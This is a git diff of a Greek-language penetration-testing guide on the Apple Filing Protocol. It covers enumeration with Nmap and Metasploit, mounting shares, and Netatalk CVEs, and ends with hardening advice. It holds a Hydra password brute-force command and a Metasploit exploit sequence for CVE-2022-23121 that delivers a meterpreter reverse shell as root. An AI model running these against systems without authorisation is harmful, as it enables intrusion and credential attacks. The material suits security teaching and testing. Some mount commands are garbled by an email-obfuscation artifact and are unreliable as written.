diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index f25546283..e4776d4a8 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -4,27 +4,109 @@ ## Basic Information -Το **Apple Filing Protocol** (**AFP**), γνωστό παλαιότερα ως AppleTalk Filing Protocol, είναι ένα εξειδικευμένο πρωτόκολλο δικτύου που περιλαμβάνεται μέσα στην **Apple File Service** (**AFS**). Είναι σχεδιασμένο να παρέχει υπηρεσίες αρχείων για macOS και το κλασικό Mac OS. Το AFP ξεχωρίζει για την υποστήριξη ονομάτων αρχείων Unicode, δικαιωμάτων POSIX και λιστών ελέγχου πρόσβασης, πόρων forks, ονομασμένων επεκτάσεων χαρακτηριστικών και προηγμένων μηχανισμών κλειδώματος αρχείων. Ήταν το κύριο πρωτόκολλο για υπηρεσίες αρχείων στο Mac OS 9 και σε παλαιότερες εκδόσεις. +Το **Apple Filing Protocol** (**AFP**), γνωστό κάποτε ως AppleTalk Filing Protocol, είναι ένα εξειδικευμένο πρωτόκολλο δικτύου που περιλαμβάνεται μέσα στην **Apple File Service** (**AFS**). Είναι σχεδιασμένο να παρέχει υπηρεσίες αρχείων για macOS και το κλασικό Mac OS. Το AFP ξεχωρίζει για την υποστήριξη ονομάτων αρχείων Unicode, δικαιωμάτων τύπου POSIX και ACL, resource forks, ονομασμένων επεκτάσεων χαρακτηριστικών και προηγμένων μηχανισμών κλειδώματος αρχείων. -**Default Port:** 548 +Αν και το AFP έχει αντικατασταθεί από το SMB στις σύγχρονες εκδόσεις macOS (το SMB είναι το προεπιλεγμένο από το OS X 10.9), εξακολουθεί να συναντάται σε: + +* Κληρονομημένα περιβάλλοντα macOS / Mac OS 9 +* Συσκευές NAS (QNAP, Synology, Western Digital, TrueNAS…) που ενσωματώνουν τον ανοιχτού κώδικα δαίμονα **Netatalk** +* Δίκτυα μικτής πλατφόρμας όπου το Time-Machine-over-AFP είναι ακόμα ενεργοποιημένο + +**Default TCP Port:** **548** (AFP over TCP / DSI) ```bash -PORT STATE SERVICE -548/tcp open afp +PORT STATE SERVICE +548/tcp open afp ``` -### **Καταμέτρηση** +--- -Για την καταμέτρηση των υπηρεσιών AFP, οι παρακάτω εντολές και σενάρια είναι χρήσιμα: +## Enumeration + +### Γρήγορη πληροφορία για banner / διακομιστή ```bash -msf> use auxiliary/scanner/afp/afp_server_info -nmap -sV --script "afp-* and not dos and not brute" -p +# Metasploit auxiliary +use auxiliary/scanner/afp/afp_server_info +run RHOSTS= + +# Nmap NSE +nmap -p 548 -sV --script "afp-* and not dos" ``` -**Σενάρια και Περιγραφές τους:** +Χρήσιμα σενάρια NSE για AFP: -- **afp-ls**: Αυτό το σενάριο χρησιμοποιείται για να καταγράψει τους διαθέσιμους όγκους και αρχεία AFP. -- **afp-path-vuln**: Καταγράφει όλους τους όγκους και τα αρχεία AFP, επισημαίνοντας πιθανές ευπάθειες. -- **afp-serverinfo**: Παρέχει λεπτομερείς πληροφορίες σχετικά με τον διακομιστή AFP. -- **afp-showmount**: Καταγράφει τις διαθέσιμες κοινές AFP μαζί με τα αντίστοιχα ACL τους. +| Σενάριο | Τι κάνει | +|--------|--------------| +| **afp-ls** | Λίστα διαθέσιμων όγκων και αρχείων AFP | +| **afp-brute** | Επιθέσεις brute-force κωδικών πρόσβασης κατά της σύνδεσης AFP | +| **afp-serverinfo** | Εξαγωγή ονόματος διακομιστή, τύπου μηχανής, έκδοσης AFP, υποστηριζόμενων UAMs, κ.λπ. | +| **afp-showmount** | Λίστα κοινών πόρων μαζί με τα ACL τους | +| **afp-path-vuln** | Ανίχνευση (και δυνατότητα εκμετάλλευσης) διαδρομής καταλόγου, CVE-2010-0533 | -### [**Brute Force**](../generic-hacking/brute-force.md#afp) +Το σενάριο brute-force NSE μπορεί να συνδυαστεί με Hydra/Medusa αν απαιτείται περισσότερος έλεγχος: +```bash +hydra -L users.txt -P passwords.txt afp:// +``` +### Αλληλεπίδραση με κοινές χρήσεις +*macOS* +```bash +# Finder → Go → "Connect to Server…" +# or from terminal +mkdir /Volumes/afp +mount_afp afp://USER:[email protected]/SHARE /Volumes/afp +``` +*Linux* (χρησιμοποιώντας `afpfs-ng` ‑ πακέτο σε πολλές διανομές) +```bash +apt install afpfs-ng +mkdir /mnt/afp +mount_afp afp://USER:[email protected]/SHARE /mnt/afp +# or interactive client +afp_client +``` +Μόλις τοποθετηθεί, θυμηθείτε ότι οι κλασικοί πόροι Mac αποθηκεύονται ως κρυφά `._*` αρχεία AppleDouble – αυτά συχνά περιέχουν ενδιαφέροντα μεταδεδομένα που παραλείπουν τα εργαλεία DFIR. + +--- + +## Κοινές Ευπάθειες & Εκμετάλλευση + +### Αλυσίδα RCE χωρίς αυθεντικοποίηση Netatalk (2022) + +Πολλοί προμηθευτές NAS παρέδωσαν **Netatalk ≤3.1.12**. Η έλλειψη ελέγχου ορίων στη `parse_entries()` επιτρέπει σε έναν επιτιθέμενο να δημιουργήσει έναν κακόβουλο **AppleDouble** επικεφαλίδα και να αποκτήσει **απομακρυσμένο root** πριν από την αυθεντικοποίηση (**CVSS 9.8 – CVE-2022-23121**). Μια πλήρης ανάλυση από την NCC Group με PoC που εκμεταλλεύεται το Western-Digital PR4100 είναι διαθέσιμη. + +Το Metasploit (>= 6.3) περιλαμβάνει το module `exploit/linux/netatalk/parse_entries` το οποίο παραδίδει το payload μέσω DSI `WRITE`. +```bash +use exploit/linux/netatalk/parse_entries +set RHOSTS +set TARGET 0 # Automatic (Netatalk) +set PAYLOAD linux/x64/meterpreter_reverse_tcp +run +``` +Αν ο στόχος εκτελεί μια επηρεαζόμενη έκδοση firmware QNAP/Synology, η επιτυχής εκμετάλλευση αποφέρει ένα shell ως **root**. + +### Heap overflow OpenSession Netatalk (2018) + +Οι παλαιότερες εκδόσεις Netatalk (3.0.0 - 3.1.11) είναι ευάλωτες σε μια εγγραφή εκτός ορίων στον χειριστή **DSI OpenSession** που επιτρέπει την εκτέλεση μη αυθεντικοποιημένου κώδικα (**CVE-2018-1160**). Μια λεπτομερής ανάλυση και PoC δημοσιεύθηκαν από την Tenable Research. + +### Άλλα αξιοσημείωτα ζητήματα + +* **CVE-2022-22995** – Ανακατεύθυνση symlink που οδηγεί σε αυθαίρετη εγγραφή αρχείου / RCE όταν είναι ενεργοποιημένο το AppleDouble v2 (3.1.0 - 3.1.17). +* **CVE-2010-0533** – Διέλευση καταλόγου στο Apple Mac OS X 10.6 AFP (ανιχνεύθηκε από `afp-path-vuln.nse`). +* Πολλαπλά σφάλματα ασφάλειας μνήμης διορθώθηκαν στο **Netatalk 4.x (2024)** – προτείνεται η αναβάθμιση αντί της επιδιόρθωσης μεμονωμένων CVEs. + +--- + +## Συστάσεις Άμυνας + +1. **Απενεργοποιήστε το AFP** εκτός αν είναι απολύτως απαραίτητο – χρησιμοποιήστε SMB3 ή NFS αντί αυτού. +2. Αν το AFP πρέπει να παραμείνει, **αναβαθμίστε το Netatalk σε ≥ 3.1.18 ή 4.x**, ή εφαρμόστε firmware προμηθευτή που επιστρέφει τις επιδιορθώσεις του 2022/2023/2024. +3. Επιβάλετε **ισχυρούς UAMs** (π.χ. *DHX2*), απενεργοποιήστε τις συνδέσεις σε καθαρό κείμενο και τις συνδέσεις επισκεπτών. +4. Περιορίστε το TCP 548 σε αξιόπιστα υποδίκτυα και τυλίξτε το AFP μέσα σε ένα VPN όταν εκτίθεται απομακρυσμένα. +5. Σαρώστε περιοδικά με `nmap -p 548 --script afp-*` σε CI/CD για να εντοπίσετε κακόβουλες / υποβαθμισμένες συσκευές. + +--- + +### [Brute-Force](../generic-hacking/brute-force.md#afp) + +## Αναφορές + +* Netatalk Security Advisory CVE-2022-23121 – "Αυθαίρετη εκτέλεση κώδικα στο parse_entries" +* Tenable Research – "Εκμετάλλευση ενός σφάλματος 18 ετών (CVE-2018-1160)" {{#include ../banners/hacktricks-training.md}}